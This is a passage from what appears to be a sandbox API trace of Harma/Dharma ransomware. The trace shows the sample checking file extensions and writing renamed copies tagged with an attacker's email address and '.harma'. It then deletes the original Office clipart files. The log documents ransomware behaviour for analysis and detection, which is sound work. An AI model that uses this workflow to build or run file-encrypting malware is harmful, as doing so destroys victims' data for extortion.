lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.325] WriteFile (in: hFile=0x3ac, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.325] SetEndOfFile (hFile=0x3ac) returned 1 [0166.326] CloseHandle (hObject=0x3ac) returned 1 [0166.326] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.326] SetEndOfFile (hFile=0x39c) returned 1 [0166.330] CloseHandle (hObject=0x39c) returned 1 [0166.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0166.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.370] lstrlenW (lpString=".doc") returned 4 [0166.370] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.370] lstrlenW (lpString=".docx") returned 5 [0166.370] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0166.370] lstrlenW (lpString=".pdf") returned 4 [0166.370] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.370] lstrlenW (lpString=".xls") returned 4 [0166.370] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.370] lstrlenW (lpString=".xlsx") returned 5 [0166.370] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0166.370] lstrlenW (lpString=".ppt") returned 4 [0166.370] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.370] lstrlenW (lpString=".zip") returned 4 [0166.370] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.370] lstrlenW (lpString=".rar") returned 4 [0166.370] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.370] lstrlenW (lpString=".bz2") returned 4 [0166.370] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.370] lstrlenW (lpString=".7z") returned 3 [0166.370] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.370] lstrlenW (lpString=".dbf") returned 4 [0166.370] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.371] lstrlenW (lpString=".1cd") returned 4 [0166.371] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.371] lstrlenW (lpString=".jpg") returned 4 [0166.371] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.371] lstrlenW (lpString=".doc") returned 4 [0166.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.371] lstrlenW (lpString=".docx") returned 5 [0166.371] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0166.371] lstrlenW (lpString=".pdf") returned 4 [0166.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString=".xls") returned 4 [0166.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString=".xlsx") returned 5 [0166.371] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0166.371] lstrlenW (lpString=".ppt") returned 4 [0166.371] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.371] lstrlenW (lpString=".zip") returned 4 [0166.371] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString=".rar") returned 4 [0166.371] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.371] lstrlenW (lpString=".bz2") returned 4 [0166.371] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.372] lstrlenW (lpString=".7z") returned 3 [0166.372] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.372] lstrlenW (lpString=".dbf") returned 4 [0166.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.372] lstrlenW (lpString=".1cd") returned 4 [0166.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0166.372] lstrlenW (lpString=".jpg") returned 4 [0166.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.372] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.372] lstrlenW (lpString="J0101859.BMP") returned 12 [0166.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.373] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31968) returned 1 [0166.373] CloseHandle (hObject=0x33c) returned 1 [0166.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 0x20 [0166.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.373] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.374] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.374] GetLastError () returned 0x0 [0166.374] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0166.440] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0166.442] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.442] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.442] SetEndOfFile (hFile=0x208) returned 1 [0166.442] CloseHandle (hObject=0x208) returned 1 [0166.443] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.443] SetEndOfFile (hFile=0x33c) returned 1 [0166.446] CloseHandle (hObject=0x33c) returned 1 [0166.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0166.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.448] lstrlenW (lpString=".doc") returned 4 [0166.448] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".docx") returned 5 [0166.448] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0166.448] lstrlenW (lpString=".pdf") returned 4 [0166.448] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".xls") returned 4 [0166.448] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".xlsx") returned 5 [0166.448] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0166.448] lstrlenW (lpString=".ppt") returned 4 [0166.448] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.448] lstrlenW (lpString=".zip") returned 4 [0166.448] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".rar") returned 4 [0166.448] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".bz2") returned 4 [0166.448] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.448] lstrlenW (lpString=".7z") returned 3 [0166.448] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.449] lstrlenW (lpString=".dbf") returned 4 [0166.449] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.449] lstrlenW (lpString=".1cd") returned 4 [0166.449] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.449] lstrlenW (lpString=".jpg") returned 4 [0166.449] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.449] lstrlenW (lpString=".doc") returned 4 [0166.449] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.449] lstrlenW (lpString=".docx") returned 5 [0166.449] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0166.449] lstrlenW (lpString=".pdf") returned 4 [0166.449] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.449] lstrlenW (lpString=".xls") returned 4 [0166.449] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.449] lstrlenW (lpString=".xlsx") returned 5 [0166.449] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0166.449] lstrlenW (lpString=".ppt") returned 4 [0166.449] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.450] lstrlenW (lpString=".zip") returned 4 [0166.450] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.450] lstrlenW (lpString=".rar") returned 4 [0166.450] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.450] lstrlenW (lpString=".bz2") returned 4 [0166.450] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.450] lstrlenW (lpString=".7z") returned 3 [0166.450] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.450] lstrlenW (lpString=".dbf") returned 4 [0166.450] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.450] lstrlenW (lpString=".1cd") returned 4 [0166.450] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP") returned 63 [0166.450] lstrlenW (lpString=".jpg") returned 4 [0166.450] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.450] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.451] lstrlenW (lpString="J0101864.BMP") returned 12 [0166.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.451] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=31968) returned 1 [0166.452] CloseHandle (hObject=0x33c) returned 1 [0166.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0166.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.452] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.452] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.453] GetLastError () returned 0x0 [0166.453] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0166.472] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0166.473] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.473] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.474] SetEndOfFile (hFile=0x208) returned 1 [0166.474] CloseHandle (hObject=0x208) returned 1 [0166.474] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.474] SetEndOfFile (hFile=0x33c) returned 1 [0166.478] CloseHandle (hObject=0x33c) returned 1 [0166.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 1 [0166.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.479] lstrlenW (lpString=".doc") returned 4 [0166.479] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.479] lstrlenW (lpString=".docx") returned 5 [0166.479] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0166.479] lstrlenW (lpString=".pdf") returned 4 [0166.479] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.479] lstrlenW (lpString=".xls") returned 4 [0166.479] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.479] lstrlenW (lpString=".xlsx") returned 5 [0166.479] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0166.479] lstrlenW (lpString=".ppt") returned 4 [0166.479] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.479] lstrlenW (lpString=".zip") returned 4 [0166.480] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".rar") returned 4 [0166.480] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".bz2") returned 4 [0166.480] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".7z") returned 3 [0166.480] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.480] lstrlenW (lpString=".dbf") returned 4 [0166.480] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.480] lstrlenW (lpString=".1cd") returned 4 [0166.480] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.480] lstrlenW (lpString=".jpg") returned 4 [0166.480] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.480] lstrlenW (lpString=".doc") returned 4 [0166.480] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".docx") returned 5 [0166.480] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1 [0166.480] lstrlenW (lpString=".pdf") returned 4 [0166.480] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".xls") returned 4 [0166.480] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0166.480] lstrlenW (lpString=".xlsx") returned 5 [0166.480] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1 [0166.480] lstrlenW (lpString=".ppt") returned 4 [0166.481] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0166.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.481] lstrlenW (lpString=".zip") returned 4 [0166.481] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0166.481] lstrlenW (lpString=".rar") returned 4 [0166.481] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0166.481] lstrlenW (lpString=".bz2") returned 4 [0166.481] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0166.481] lstrlenW (lpString=".7z") returned 3 [0166.481] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0166.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.481] lstrlenW (lpString=".dbf") returned 4 [0166.481] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0166.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.481] lstrlenW (lpString=".1cd") returned 4 [0166.481] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0166.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned 63 [0166.481] lstrlenW (lpString=".jpg") returned 4 [0166.481] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0166.481] lstrcmpiW (lpString1=".BMP", lpString2=".harma") returned -1 [0166.481] lstrlenW (lpString="J0101866.BMP") returned 12 [0166.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.482] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=32184) returned 1 [0166.482] CloseHandle (hObject=0x33c) returned 1 [0166.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0166.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0166.483] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.483] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.484] GetLastError () returned 0x0 [0166.484] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0166.501] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0166.503] ReadFile (in: hFile=0x33c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.503] WriteFile (in: hFile=0x208, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.503] SetEndOfFile (hFile=0x208) returned 1 [0166.503] CloseHandle (hObject=0x208) returned 1 [0166.503] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.503] SetEndOfFile (hFile=0x33c) returned 1 [0166.506] CloseHandle (hObject=0x33c) returned 1 [0166.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 